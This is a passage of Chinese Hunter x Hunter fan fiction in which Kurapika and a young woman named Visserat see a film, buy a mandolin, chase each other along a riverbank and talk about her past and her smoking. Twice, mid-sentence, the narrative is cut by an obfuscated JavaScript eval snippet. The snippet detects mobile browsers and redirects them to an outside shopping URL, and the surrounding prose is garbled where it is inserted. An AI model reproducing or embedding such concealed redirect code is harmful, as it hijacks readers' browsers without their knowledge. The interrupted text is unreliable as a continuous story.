冬夜的风冷飕飕,维瑟拉特一直在抖。下次要多穿一点衣服才行哦,旋律这般劝她。她乱七八糟点头,但在大脑如此不清醒的状态下,肯定会把如此关切的话语忘记的,正如行道灯在她的眼前扩散成边缘不明晰的色彩。她把脖子缩起来,东张西望,不意外地瞥见到了街角影院的正门上方悬挂着的大幅海报,是女主角站在草坪上的轻快姿态,裙摆也飞舞着,看起来多么……自由。 维瑟拉特想,她可能并没有那么好奇,或许也没有在向往,视线只是不自觉一直盯着那张海报。 “那是部音乐电影哟。”旋律告诉她,“虽然主题是很常见的爱情,但因为有音乐元素的加入,俗套的爱情都显得更有趣了。你该去看看的。” 维瑟拉特晃晃脑袋——这算是点头。 红灯转绿,继续向前,一路走到家,大家笑着散开。维瑟拉特觉得自己已经完成没问题了,不想多耽误旋律的时间,于是也在楼梯口分开了。 往下走能回房间睡觉,维瑟拉特却还是踏着往上的楼梯而去,奇怪的习惯使然。办公室的下方透着光,能待这么久,酷拉皮卡简直是住在这里了吧。 维瑟拉特把耳朵贴在门上。没有声音。再贴到地上,也没听到走动的动静。看来出了酷拉皮卡,谁也不在。她在门边等了等,才轻轻推开,把脑袋塞进去。 “回来了。”她丢出这么一句。 总觉得有必要和酷拉皮卡汇报一下。 “嗯。”酷拉皮卡的百分之八十的时间出现了,“玩得开心吗?啊……你们不是出去玩的,好像不能这么问。抱歉。” “没事。” 保持这种只有脑袋进入办公室的状态好像不太好,想了想,她干脆一整个人走进来了。 “我们确实是一起玩了,所以还,挺开心的?” 酷拉皮卡努力藏起自己的意外感,“很少听你说到‘高兴’呢。” “是嘛……但我觉得现在还挺开心的。我还喝酒了。” 意外感彻底藏不出了,酷拉皮卡简直脱口而出:“可你未成年啊。” “有旋律照顾我。” “……那就好。” 旋律可是很让人安心的。 维瑟拉特稍稍往房间里挪了挪,话语越倒越多,“她还告诉了我她喜欢的电影。是音乐电影。海报上有……”她努力回想,“一个穿着裙子转圈的女人。挺好看的海报。” “啊,你说那部电影吗?我也有听说过,可惜一直没有机会去看。” “你也没看过吗……” 果然,酷拉皮卡是和她很像的。 意识到这一点的瞬间,维瑟拉特垂下了眼眸,像是要躲开什么——可能是真实的内心吧。 “那……” 但她还是把真心说出口了。 “要一起去看吗?” 58.电影x小小误解x试试看 是酒精在作祟吗,又或者是别的什么东西在搞怪?无论如何,维瑟拉特都觉得一定是有某种东西在暗自搞鬼,所以她才会对酷拉皮卡说出“一起去看电影”这种话。 啊,当然了,这份邀请绝对没有违背她的本心,她也完全没有冒出半点后悔的心情。她只是很纳闷,困惑着自己居然会主动说出这样的话。 其实酷拉皮卡也挺困惑的。和维瑟拉特一样,他也习惯性地开始探究着促使她说出这话的本心。 但是——他忽然想——为什么非要知道促使她说出了这话的本心是什么呢?他没有必要一定推敲出维瑟拉特的内心,只要知道她是真心在邀请他,不就足够了嘛。他匆忙点头,“好,一起去吧。” 应声的时候,酷拉皮卡莫名感到自己冒出了过分飘飘忽忽的怪异感觉,可能是有点太高兴了。还好下一秒他就得重新落回地面。 “但我得先看看最近有空的时间……”他伸手去拿桌上的台历,抱歉地对她笑了一下,“可以等我一小会儿吗,小维?” “好。” 反正维瑟拉特没其他的忙碌事要做,等待也不是什么苦差事,大可以耐心地依靠在门框旁边,脑袋也一并挨着这道黄梨木做成的框架,以一副平常绝不会轻易流露在任何人面前的歪歪扭扭的姿势懒散地站着。 酒精多多少少催人犯困,她其实不想表现得太倦怠的,尤其是在酷拉皮卡的面前,可惜生理反应难以控制,就算在心里重复一百遍“你别睡”,眼皮还是自然而然地耷拉下去了,把视线范围压缩了一大半,害得她完全看不清酷拉皮卡的面容,只能看到他一直在翻动着日历的双手,偶尔还能听到他的一些小声嘀咕,大概是在规划着如果把某件事放到某一天做是否就能腾出更多时间的可能性。 等待的一小会儿变成了一会儿,接下去似乎该拉长到一大会儿的阶段了——等等,当真存在“一大会儿”这种说法吗? 维瑟拉特完全没有深究这个想法,但她确实也感觉到酷拉皮卡花了很多时间在寻找他的空闲时间。 她又稍稍等了一会儿,顺手关上门。 其实无论再过多久她都可以接着等待的,哪怕把她晾在沙漠一整个月变成人形肉干也不要紧,只是现在她觉得应该得说点什么了。 “如果你没有时间的话。”她说,“不去也没有关系。” 反正这并不是什么强制一定要做的事情,就算一个人走进影院,维瑟拉特也觉得没什么好失望的。她并不介意这种事。 但酷拉皮卡可就不一样了。他当然知道维瑟拉特这话绝不是在催促自己,相反还是很少见的她的体谅,酷拉皮卡却觉得自己很像是被一下子架起来了。 怎么能让她的期待落空呢?绝对不行! “我有时间的!” 他信誓旦旦地这么说完之后,赶紧投身进密密麻麻的日程表中寻找着可以调配的空隙。 该说是天随人愿还是努力总能得到回报呢,他果真找到了一点可以自由支配的时间。 “下周日的晚上,可以吗?”他迫不及待,急切到连心脏都跳得比往日更快,“你那时候会很忙吗?” “不会。”飘忽的酒精让维瑟拉特的脑袋在空气中画了个漂亮的圆,“我其他时候也不忙。说到底我平常就是很闲。” 所以她才更加觉得酷拉皮卡的忙碌像是身处另一个世界才会发生的事情。 她的这点忧虑,酷拉皮卡浑然不知。但不管怎么说,他终于能松一口气了。 “那就下周日吧。我们说好了,好吗?”他笑起来,如释重负,总算可以坦然而直白地说,“真期待呢。” 维瑟拉特垂下眼睛,不知怎么的居然觉得很不好意思看他——但在视线垂落的某个瞬间还是偷偷地扫了他一眼,再一次切实地看到了他这副很高兴的模样。可能就是因为多瞄了这一眼,她才会不自在地摸了好几下耳朵。 “嗯……是啊。” 好像,确实挺值得期待的。 期待似乎总是会很经常地迎来落空的结局,正如下一个周日的晚上,站到了影院的大门前,他们才发现那张裙摆飞扬的音乐电影的海报已经被撤下去了,取而代之的是贴着蛾子的苍白面孔,蚕蛹似的深色眼睛盯着画报外每一个投来目光的路人。 “这是最近上映的惊悚悬疑犯罪电影!” 影院售票处的工作人员绘声绘色地向他们介绍,热情到会让人怀疑是电影公司的宣发人员的程度。 “真的,这部电影故事精彩,画面漂亮,女主角超级聪明机智,和犯罪者之间的斗智斗勇简直太精彩了——就是我看完了也没搞懂影片为什么非要叫《嘈杂的牛犊》好难听啊,不过……诶,你们不是要问《嘈杂的牛犊》啊?什么,之前的海报吗?哦,那部电影在本周三就已经下映了。毕竟是重映的老电影嘛,放映时间一直都很短的,所以海报也就撤下来了。不过那部电影确实挺适合你们这种小情侣看的。” 他说酷拉皮卡和维瑟拉特是情侣。 因为他们一看就年龄相仿,便按着常理认为是情侣了吗?真是先入为主的评价。 维瑟拉特不确定是否应该更正一下对方的错误认知,习惯性抬眸看了酷拉皮卡一眼,想要根据他的反应给出适当的回应。而他只是很不顺畅地眨了眨眼,侧首过来看她(以至于彼此的视线在这一秒钟撞在了一起),而后迅速收回目光,并以同样显著的速度对售票的工作人员说,那就请来两张《嘈杂的牛犊》的电影票吧。 如此急切,也不知道想堵住谁的否认呢。 “都已经走进影院了,不看点什么总像是亏了此行一样,不是吗?”拿到票之后,他才意识到该对自己刚才相当冲动的决定做个解释,顺便为维瑟拉特摆出选择的余地,“如果你不想看的话,现在退票也完全来得及。” “我没有不想看,所以不需要退票。” 没能看到旋律推荐的好电影,维瑟拉特完全没觉得失望。她猜想电影很可能都差不多,以爱情为主题的音乐电影和惊悚恐怖悬疑片估计也没差——会有这种认知当然是因为她没怎么看过电影。 “或者是看过几次但是忘记了。”行走在座椅之间,维瑟拉特如是说,“所以每次走进影院都像是第一次来。” 酷拉皮卡轻笑起来,他也必须坦白:“其实我也没怎么来过影院。看电影要花费两个小时,太浪费了,这些时间可以用来做更多的事情,譬如像是学习或者练习剑术。同样的时间,如果只是用来坐着看一个故事,多少有点太奢侈了。” 维瑟拉特的脚步顿了顿,只能赶紧追上去,“我浪费了你的时间吗?” “没有 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这种剥皮的方式不对、圆珠笔芯不可能打得开锁、子弹击穿人体的时候也不该是这样子的,她冒出了一大堆诸如此类没怎么搞明白演戏并非实际的但偏偏又知道对应知识的人会有的想法。还好她不会把心里的念头全部说出来,否则周围的观众绝对要报警了。 “你觉得有趣吗?”电影结束之后,挤在散场通道里,酷拉皮卡问她。 维瑟拉特想了想,“还算有趣。” 挑刺这件事挺有趣的。 影院的散场通道狭窄,花了点时间才挤出去,重新回到人行道上,第一次发现这座城市的空气竟然如此新鲜。时间还早,接下来该去做什么呢?完全没有想好。既然如此,那就先漫无目的地一起散步吧。 夜晚的街道亮着灯火,看起来居然比白日里还要热闹一些,行走在这里,一定不会无趣。 “我知道你喜欢散步。”酷拉皮卡用一种小小得意的语气说。 他的得意是对的,维瑟拉特确实没想到。“这事你也知道吗?我以前告诉你的?” “你倒是没有说过。是之前我们在阿科力散步的时候我,我感觉到的。” 随性地走在街头的她,有一种前所未有的自在感,注视一切的目光带着如幼时一样的好奇。啊,她喜欢散步。那时的酷拉皮卡就在这么想了。 维瑟拉特眨了眨眼,“阿科力是什么地方?” “以前工作时途径的国家,也是我以前待过的地方。” 尽管此刻不是在阿科力的街头,他们也没有走过画着时钟的广场,但酷拉皮卡还是会再把那时候的事情告诉她——无论多少次,他想,他都愿意对她重复那些只停留在了自己脑海中的记忆。 不过,在说话的途中,酷拉皮卡注意到,维瑟拉特的目光很偶尔地往街边的橱窗瞥了瞥。 “抱歉。”问起的时候,她还道歉了,“看到了一个……挺有意思的东西?” “什么东西?” “乐器吧。应该。” 于是折返回去,回到了那个她频频投去目光的橱窗前。玻璃后方亮着暖色调的灯,映出它漂亮的木色。 “这是什么?” 酷拉皮卡告诉她,“是曼陀林。” 59.曼陀林x追逐战x真幼稚 “摆在橱窗里点灯是被称作‘曼陀林’的乐器。” 酷拉皮卡这么告诉她。 “虽然窟卢塔人很常弹奏曼陀林,但这其实不是窟卢塔族特有的乐器,能在随便一条街的乐器行见到它也不是什么很奇怪的事情。” 原来是这样吗?维瑟拉特点点头。她没有刻意这么做,但发出的“哦”一声确实在不经意间被拉得很长,显得意味不明似的。 可能真的有点意味不明吧。维瑟拉特确实感到有点奇怪。 奇怪的对象不是“曼陀林”这个罕见的名字,而是奇怪着自己居然觉得这个名称很熟悉,但也仅此而已了。她试着回想,却只想到了一丁点派不上太大用处的内容,比如像是—— “你是不是说过,”维瑟拉特保持着那种费劲思考的神态,换言之,现在她眉头的沟壑能够稳稳夹住飞蛾的翅膀,“我会弹曼陀林?” “嗯,我是这么说过。” “哦……” 又是尾音被拖得长长的、意味不明的“哦”一声。维瑟拉特微微伏低身子,这样一来视线就可以更加顺畅地越过透明玻璃,粘在这把深棕色的曼陀林上。 想象不出什么人抱着这把漂亮乐器演奏的样子,这么多根弦怎么可能按得准,更加没办法把本就无法描绘的这个“什么人”替换成自己。尽管知道酷拉皮卡不会说出那种欺骗她的谎话,维瑟拉特还是觉得自己会弹曼陀林是一件相当不可思议的事情。 “我觉得,”她说着,直起了身,与曼陀林之间的距离也稍稍拉开了一些,“我不像是那种会演奏乐器的人。” 但如果真要她说一说会弹奏乐器的人该是怎般模样的,她也说不出来。 会让乐器真正发出好听乐声的人,可能应该要像旋律那样温和包容,或是类似这样的?总觉得这也是先入为主的刻板印象。她甩甩脑袋,干脆不想了。倒是发现酷拉皮卡在旁边点头。 “是呢。”他感叹似的轻轻叹气,“我也这么觉得。我从小就感觉你看起来不像是会弹奏乐器的样子。” 这话绝不是什么批评,也肯定不是坏话,可落在维瑟拉特的耳朵里,就是莫名带着一种微妙的刺耳感。她飞快地努了努嘴,小声嘀咕的话语像是自言自语。 “我自己这么说的话算是自我定位清晰,你这么说我的话不就像是在小瞧我吗……” 她巧妙地控制着恰到好处的音量,偏偏一阵讨人厌的风穿过发间,把话语送到了酷拉皮卡的耳朵里。 想也知道,他才不会生气呢——反倒还笑得挺开心的。 “你以前也这么说。”酷拉皮卡抬起手,帮她抚平被风吹乱的头发,“你真是一点都不想被小瞧呢。” 维瑟拉特低下头,很可能摆出了不那么开心的表情,“只是不想被你小瞧。” 酷拉皮卡依然笑着,仿佛愧疚感一点都没有追上他,但还是会说:“那我向你道歉,你是不是就不生气了?” 维瑟拉特收回目光,径直往前走。 “我没有在生气。”不忘顺便替自己解释一句。 酷拉皮卡跟上她的脚步,“打算回去了吗?” 维瑟拉特轻轻摇头,动作却又顿了顿,问他:“继续散步可以吗?” “可以的。” 这完全是可以自由地开始、也可以自由地结束的事情,只要她乐意,哪怕陪她从深夜走到天光大亮都无所谓,但酷拉皮卡确实一点点在意的小事。 “我以为你会很想弹一弹那把曼陀林的。”酷拉皮卡说,“因为你看起来很在意。” 维瑟拉特停住脚步,很诚恳地看着他,“可我不会弹。而且,摆在橱窗里的东西不能乱动。” “乐器和普通的商品不一样吧?店主肯定会希望遇到认同乐器的人。” 可是,她应该也不是什么“认同乐器的人”吧? 维瑟拉特这么想着,话语却慢了半拍,还没有来得及说点什么,酷拉皮卡已经握住她的手了,拉着她往前走。 “还是去看看吧,好吗?我能感觉到你很想做这件事。” 说这句话的时候,酷拉皮卡正回头看她,风吹起他的发丝,把笑眯眯的面孔藏进柔软的金发里,可还是能够猜想出他的神态。绝对是被这一幕迷惑了——或是晃神了?回过神来,维瑟拉特已经被他拉着走进乐器行了。 但是,没有因此冒出任何反感。就和酷拉皮卡说的那样,其实她还挺想进来看看的。 曼陀林被交到手里。她试着拨动弦,弦音漏进声孔里,回以令人心安的敦实声响。维瑟拉特又试探性地把手指按在铜品上,细细的弦把指尖勒出纤细凹痕,必须承认这有点疼,但她并不在意。 重新拾起曼陀林的演奏方法,绝不会是那种恍然大悟的夸张戏码,肯定也不似电影的戏剧性。就是手指自然而然地扫过,很朴实地让漏下的音符拼成了乐曲而已。 她弹了一首轻快的窟卢塔的歌,那种大家聚在夏夜的林地上乘凉时或弹奏的乐曲。维瑟拉特或许想不起那些夜晚发生的事情了,至少她还能记得回荡在林间的曼陀林的声音。 结束弹奏的时候,她感到茫然。 “我不知道别的乐曲该怎么弹。”这就是她茫然的源头,让她急切地想要问酷拉皮卡,“难道我以前就只会弹一首曲子吗?” “我对音乐的事情不太懂,但印象里,你会弹的曲子应该不止一首吧?” “哦……” 维瑟拉特点点头,稍稍安心了一点。她忽然起身,抱着这把曼陀林在原地站了一会,感觉像是在感受什么——当然了,她什么也没在感受,只是很少见地在想事情罢了。 “我得买下它。”想法变成话语了。 于是真的带着曼陀林走出了乐器行,重新回到灯火通明的夜晚。买到了想要的东西,高兴吗?酷拉皮卡问她,但维瑟拉特没有回答。 她伸出手,忽然摸了摸他的发梢。 “怎么了?”酷拉皮卡问她。 倒不是对她突然伸过来的手感到无所适从,只是对她的小动作有点意外罢了。 “想摸摸看。”她说着,一副很认真的表情,“果然摸起来很软。” 什么嘛。 酷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17167805|191976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拉皮卡完全搞不懂她的想法,当然也完全没有意见,但权当是作为以牙还牙的“报复”,他也伸出了手,想要去摸她的头发。 但是失败了。 尽管背着一把曼陀林,维瑟拉特的动作还是快到惊人,简单一闪,跑到了他的视线死角。 然后又揪了一下他的头发。 没错,现在她的动作是揪,而不是简单且轻柔的抚摸,当然依旧不痛甚至无感,但这绝对是挑衅行为没有错,连好脾气的酷拉皮卡都都能感觉到这一点了。 从这一刻开始,氛围就变得有点不对了,他们的视线短暂地相交了片刻,维瑟拉特立刻迈步狂奔,还不忘动手把过长的发梢全部拢起来,藏进毛衣下方,用领口箍住,绝不轻易让任何一缕发丝触碰到酷拉皮卡伸出的手。而一定要复仇成功的酷拉皮卡也不想就此罢休,仅仅追在她的身后。 散步的性质到此为止被彻底扭曲——世上绝不可能有人的散步方式是踏着纤细的栏杆往前跑,跳到小餐馆的遮雨棚上只是为了选择一条没有被路人挤满的道路的。 有那么几回,酷拉皮卡真的快要得手了,维瑟拉特就在触手可及的地方,可她的直觉强的得像是背后长了眼睛,总在距离缩到临界点的时刻过分及时地躲开。 你追我赶跑过三条街,红绿灯是什么都无所谓了。一直到闯进河堤旁,酷拉皮卡才发现自己似乎马上就能超过她了。机会就是现在没错了吧。 大概正是因为他稍稍花了点心思进行思考,才害得他完全没有看到脚底下那块不大不小但最后却把他绊倒了的石头吧。 平衡感失调,整个人都要撞向地面。维瑟拉特听到身后异样的风声了,她几乎没怎么思考,回过神来,早就已经向酷拉皮卡伸出了手,想要拉住他,却反被带着一起摔倒了草地上。 真是乒铃乓啷,还好动静不算大,结局也没那么惨烈,最值得高兴的事情是曼陀林一点都没有坏。在叫唤“好痛”之前,酷拉皮卡已经笑出来了。 “还好吗,小维?” “还好。” “痛吗?” “一点点。不痛。” 这绝不是会让她害怕的痛楚,所以酷拉皮卡也松了口气,喃喃地说,那就好。 追了这么久,跑了这么远,停下了才感到疲惫,他们依然躺在草地上,急促地喘着气,像是刚从一场大战中缓过劲来。战斗的胜负到现在还没有分出来,但既然人都已经躺下了,那就在夜空下歇息一下吧,从河上吹过的风也会抚平他们急躁的心情。 真像小时候一样。他想。只是可惜派罗不在这里。他也在就好了。 想到这种事就会想要掉眼泪。晚风吹干了酷拉皮卡的眼眸,视线只能干涩地看向维瑟拉特。她气喘吁吁,一如既往很平淡的面庞似乎能窥见到些许的轻快。真少见。 “对了。” 现在说起这个话题可以吗?酷拉皮卡短暂地犹豫了几秒,话语在那之后才说出口。 “关于那个男人……我是说把你捡走的、无名的家伙,前不久我又向揍敌客的朋友询问了关于他的事情。” 60.不合时宜x无所谓x意见 “前不久我又向揍敌客的朋友询问了关于他的事情”,酷拉皮卡是这么说的。 之所以用了“又”,当然是因为他早先就已经向奇犽·揍敌客问过了此事,早在维瑟拉特第一次回想起那个男人的时候就询问过了。 揍敌客家的敌人太多了,要是挨个报名字给你听,三天三夜都说不完,而且我相信他们中的每一个人都有着百分百想要杀死揍敌客的决心,要是给不了更多信息,和大海捞针没有区别——奇犽当时是这么对他说的。 算是让人沮丧的消息,如此诚实的回答肯定无法得到半点有用的信息。当时的酷拉皮卡觉得这不是值得告诉维瑟拉特的事情,心想着,还是等到调查进行得更深入了,再同她分享吧。 无论如何,他希望能够给到她的是切实的解答,而不是更多的谜团。解开谜题的麻烦工作,由他苦恼就好。 在听她说起了深山的往事之后,他又去询问了奇犽。从维瑟拉特和她说的那些更加具体明晰的记忆之中,多少能够将那个男人的身份范围缩小一些了,譬如像是年龄和显著的外貌特征,以及他与揍敌客家的仇恨可能开始的时间段。 向这样一点一点继续缩小范围,肯定很快就能真正确定那个男人的身份了。奇犽很好心地为他提供了一份超级长的机密名单,附件大到奇犽整整把名单拆成了五封邮件才总算是把名单全部发送过来。果然如他所说,这差事相当的大海捞针。 但还是要感谢奇犽,嫌疑人范围太大总比根本没有范围来的要好。而最近的一部分工作就是在排查那个男人可能的身份,估计还需要再花上一段时间才能从那份长长名单中摸索出切实的结果把。酷拉皮卡绝不是藏不住秘密或是事情的家伙,可他在现在就想告诉她这件事情了。 “是嘛。” 维瑟拉特眨了眨眼,晚风也把她的眼睛吹得干巴巴得了,眨动的时候还能听到黏黏的声音,但她也不想因此闭上眼。 “这是辛苦的工作吗?”她问。 酷拉皮卡耸耸肩膀,“也还好吧。” 不疲惫,只不过是对眼睛不太友好罢了。挨个核对可疑人员的生平履历确实是一桩会榨干视力的差事。 “谢谢,但你可以让自己稍微轻松一点。”她说着,侧过头,看着他的双眼,“我不在意那个某人的身份。” 真的,她不在意——无论是那家伙的生平还是他的仇恨,她都不那么在意,也不好奇他的名字。 “在我看来,杀死他的那一刻,我痛苦的时间就结束了。尽管他带给我的后遗症一定直到现在都存在着,但我不在乎了。他的使命对我来说并不重要,我没有体谅他的行为的必要,忘记那家伙对我来说才是最好的。我当然恨他夺走了我本该拥有的人生……” “本该拥有的人生”或许意味着自己也会变成福尔马林里的火红眼,隔着化学药剂与酷拉皮卡对视。维瑟拉特忽然想到。难怪她的话语在此处僵硬地顿了顿。她轻轻甩了甩脑袋,继续说下去。 “现在我只想按照自己的方式活下去,尽管我还没想好自己的活法。” 但至少现在还活着,能够被河畔的风吹拂,也可以在躺倒在地的时候把曼陀林压出绷绷的声响,即便今晚又穿得不够多,躺在柔软的草地上都忍不住被从泥地升上来的阴冷水汽刺得好冷,可她从未比此刻更觉得自己正好好地活着、正在渴望活下去。 酷拉皮卡看着她。绝不是落在她脸上的月光所塑造出的阴影带来的错觉,而是她确实扬起了嘴角,露出不知不觉的微笑。他也感到松了口气。 “你能这么想也很好。”说着这话的他稍稍迟疑了一下,“不过,我还是想冒昧地问一下。” “嗯?” “你为什么又把刀拿在手上了,小维?” “……” 如果酷拉皮卡没有主动提及这一点,维瑟拉特很可能一直都不会发现发现自己的手里正捏着一把匕首,刀刃直指天空,简直就是一副时刻要动手的状态。真吓人。 她赶紧把匕首收起来,目光也逃到不知何处去了,压根没敢去看酷拉皮卡,只觉得窘迫得不行。 “这个嘛……”她好想给自己找个借口,可是叽叽咕咕了一会儿,居然什么理由都想不到,只能坦白了,“可能是条件反射吧?因为你刚才说到‘揍敌客’了……你知道的,那家伙对我下达的指令就像思想钢印一样,虽然我不打算主动执行,但有时候就是会做出这种无意识的行动。抱歉。” “没事啦,这不是你需要道歉的事情。不过你今天居然也把武器带在身上了,我还挺意外的。我以为你在约会的时候会稍微松懈一点的。” ……啊不对好像说错话了! 酷拉皮卡蹭一下坐起来,凌乱的发丝一下子把他的面孔完全盖住了,只能听到他好急切的话语。 “我没有说这是约会的意思……啊不是。我这话不是在表示自己不想和你约会的意思……我只是……只是……” 只是?只是了半天也没有后续的话语。维瑟拉特猜想他可能是说完了,这才给出答复。 “以防万一而已。我什么时候都会带着武器。” 包括行走在诺斯拉的宅邸里,甚至在她浴室置物架上触手可及的位置都摆着趁手的小刀。今天也带上了刀纯粹是习惯使然罢了。 “是……是嘛。”酷拉皮卡挠了挠头。 她完全没有对于“约会”这次给出任何反馈呢……倒不是失望,只是心情有点微妙而已。 当然这份微妙到难以言说的心情绝不是他站起来的原因,而是风真的有点太冷了,偶尔还有几滴水滴下来,看来晚上会下雨吧,他后悔出门前没有看天气预报了。 拍拍身上的草叶,他转过身,向维瑟拉特伸出手。“回去吧。”他笑着说。 其实,就算是没有他的帮忙,维瑟拉特觉得自己也一定可以站起来的,可还是想要握住他的手,懒懒散散地任由他把自己拽起来,被他笑着抱怨说不知道是骨头太重还是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17173061|191976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惰性太重。 雨倒是好像没有接着下,在最初落下的几滴水之后,就没有再感觉到任何水泽了,倒也不错。下雨总是很讨厌。 踏上人行道时,维瑟拉特感觉到自己的头发被轻轻地扯了一下,罪魁祸首当然是酷拉皮卡的手。 维瑟拉特盯着他,他似乎完全没有被这番目光威慑到。“这下就扯平了。”他还这么说。 显然是在说她刚才扯了自己头发的那件事。 虽然对他的行为没什么意见,但维瑟拉特还是觉得他有点狡猾。 “刚才摔倒也是故意的吗?”她问,“因为你知道我会停下来?” “算是吧?” “真坏。” “只是计谋而已。计谋是没有好坏的。” “还是很坏。” 她执着地要给他贴上邪恶的标签,酷拉皮卡当然拒不接受,还一直在笑,颤动的指尖轻轻触碰着她的手背,仿若不经意般滑进她的掌心里。在那之后,他才握住了她的手。 彼此触碰的双手,这也不是第一次了。即便是在维瑟拉特漏洞百出的记忆之中,也还是能想起好几次酷拉皮卡握着她的手的场景,怎么偏偏这一次显得格外的鬼鬼祟祟呢?有些不明白。 维瑟拉特偷偷去看他,可他的视线早就逃到不知道什么地方去了,嘴上倒是还在聊着电影剧情,明明他们在走出影院的时候都没有聊过电影。 有些不明白他,但却是不至于让她怅然若失或难过的不明白。她只是需要好好思考一下而已。 维瑟拉特摸出香烟,叼在嘴里。现在只有一只手能用了,还好装在口袋里的是一只手也可以轻松使用的打火机。 酷拉皮卡敏锐地注意到了她的享乐工具的变化。 “换成打火机了吗?”酷拉皮卡问。 他可能一辈子都不会忘掉她直接用指尖捏灭火柴的狂野场景。 “嗯。”维瑟拉特点点头,“火柴全部用光了。而且最近发现火柴很容易烧到手,会痛。” 她说话的时候吐出的尼古丁烟雾不小心喷在了酷拉皮卡的脸上。他其实没有觉得排斥或是怎样,只是刺鼻的气体害他下意识地眯了眯眼,摆出了皱巴巴的表情。而这个表情花了十秒钟才让维瑟拉特意识到这意味着什么。 “不喜欢?”她把香烟拿远了一点,“如果你不喜欢我抽烟,我可以不抽。” 这种话绝对不是几个月前的她会说的——当时她可是会毫无顾忌地在初次见面的人的面前抽烟的家伙,为此还被便利屋的人骂了。这也是酷拉皮卡忘不掉的事情。 “没有。小维想做什么就做什么好了,我不会约束你。” 正是因为总记得那天的事情,今天的他才会这么说。 维瑟拉特“嗯”了一声,夹在指间的香烟晃悠着,被燃得越来越短。 很忽然的,听到酷拉皮卡说:“其实我很好奇。” “嗯?” “你为什么会开始抽烟?” 61.求知欲x回想x小小帮忙 对于尼古丁而言,十七岁显然是个过分年轻的年纪。 酷拉皮卡只是知道十七岁的维瑟拉特会抽烟,但这个行为到底是什么时候开始的,又是基于怎样的原因触发的?他忽然不知。 当然了,并非是觉得这习惯有什么不好,他只是偶尔会忍不住想,抽烟会不会是坏朋友给她刻下的创伤,就像是听到了“揍敌客”就会习惯性地摸出刀子那样。每次这么思考时,他真的会很想知道答案。 这份求知欲是否能够填平,最终还是要取决于维瑟拉特的记忆的有效性,以及她是否愿意为他解答。后者倒是不必担心,维瑟拉特肯定不会对他遮遮掩掩,只可惜此刻她无表情的脸上流露出的显然只有迷茫的迹象而已。 她既没有想到酷拉皮卡会这么询问她,自己也从来都没思考过这种事,仿佛从恍恍惚惚的某一个时刻开始,香烟就已经黏在她的手指上了。 “让我想想……”她的视线飘忽到了别处,看着无关紧要的周遭的一切,只有这样她才能顺畅地进行回忆,尽管她也不太能够想到些什么,“可能是,卡尔玛拉家的工作结束之后才开始抽烟的吧?” 勉强想到了拾起坏习惯的最初时期,接着思索下去就一定能够想到更多了吧。 她努力地进行了回想——一边抽着眼一边想,毕竟这是和尼古丁的烟熏味联结在一起的记忆,还是用烟味刺激一下沉寂的回忆比较好。 想到的一点恍恍惚惚的事情是,“你怎么也开始抽烟了”的话语是在结束卡尔玛拉家的工作回到便利屋之后,大家逐渐开始这么对她说。 “‘也’?”酷拉皮卡很精准地捕捉到了这个字眼,“意思是说,便利屋还有其他人也会抽烟吗?” “是吧。”感谢他的提示,维瑟拉特竟然能够顺势想到更多,“……另一个抽烟的人,是个女人。” 当维瑟拉特说出这句话的时候,仿佛真有女人的身影从脑袋的一角掠过——比她年长了许多的、带着芬芳香气的女人,香水下压着尼古丁的味道。能想起那人笑眯眯的神态,却记不起她的面孔了。但那应该不是什么坏人吧,维瑟拉特有这样的感觉。 “也许再过段时间就能想起来了……吧?”维瑟拉特不确信地说着,莫名觉得疲惫,匆忙中断了对回忆的努力,深吸了一口烟,让双肺被浑浊焦臭的烟雾填满,吐出一句,“你果然不喜欢我抽烟,是吗?” “怎么会。” 无论是天生的好习惯,还是后天习得的不那么好的部分,拼凑在一起才是完整的、如今的她。意识到这一点之后,酷拉皮卡就再也不觉得她必须做什么、或不该做什么了。 而且好像也不用替她担心尼古丁对身体的伤害。这应该也是可以被治愈的损伤吧。 但一直到走回诺斯拉宅邸为止,维瑟拉特都没有再掏出任何一支香烟了。倒不是酷拉皮卡的话语对她产生了什么影响,她只是暂时不想从烟味中进行回忆了——真的很累。 “那就,” 他们走到楼梯口时才准备分别,酷拉皮卡又摸了一下她的头发,到此为止才算是真的扯平了, “明天见。” 他说了句很平常的话语,却也是充满期待的话语,感觉一下子就能冲淡今日已然结束的这份不舍呢。不知道维瑟拉特会不会也有和他一样的这种感觉。 “好。”她点点头,看起来像是明白了一些什么,“你的意思是明天会有工作找我处理,是吗?” “不是啦。” 酷拉皮卡笑起来,小小地感觉到了一点无奈。果然一板一眼的秉性不是轻而易举就能改变的。 他解释说:“只是觉得我们明天也会见面而已,不一定是为了工作的事情。” “哦……好。” 为什么只是“觉得”呢?维瑟拉特挺搞不懂他。 “我明天也会来打扰你的。”反正她干脆地这么说了。 “嗯。尽情地来打扰我吧。”酷拉皮卡一点都不会介意这种事情的。 话虽如此,隔天的维瑟拉特却完全没有来主动打扰他,甚至也没有来找他——她的时间完全被亚里砂占据了。亚里砂有重要的事情请她帮忙。 “我故乡的传说是,死者的灵魂会在第四十九天回到身体所在的地方,如果提前在死者的坟前供奉了她喜爱的东西,那她就可以带着这些东西,不留遗憾地回到死者的世界里。” 亚里砂告诉她。 所以今天她才拜托自己一起帮忙完成妮翁生前没做完的人偶娃娃呀?维瑟拉特现在总算是有点明白了。 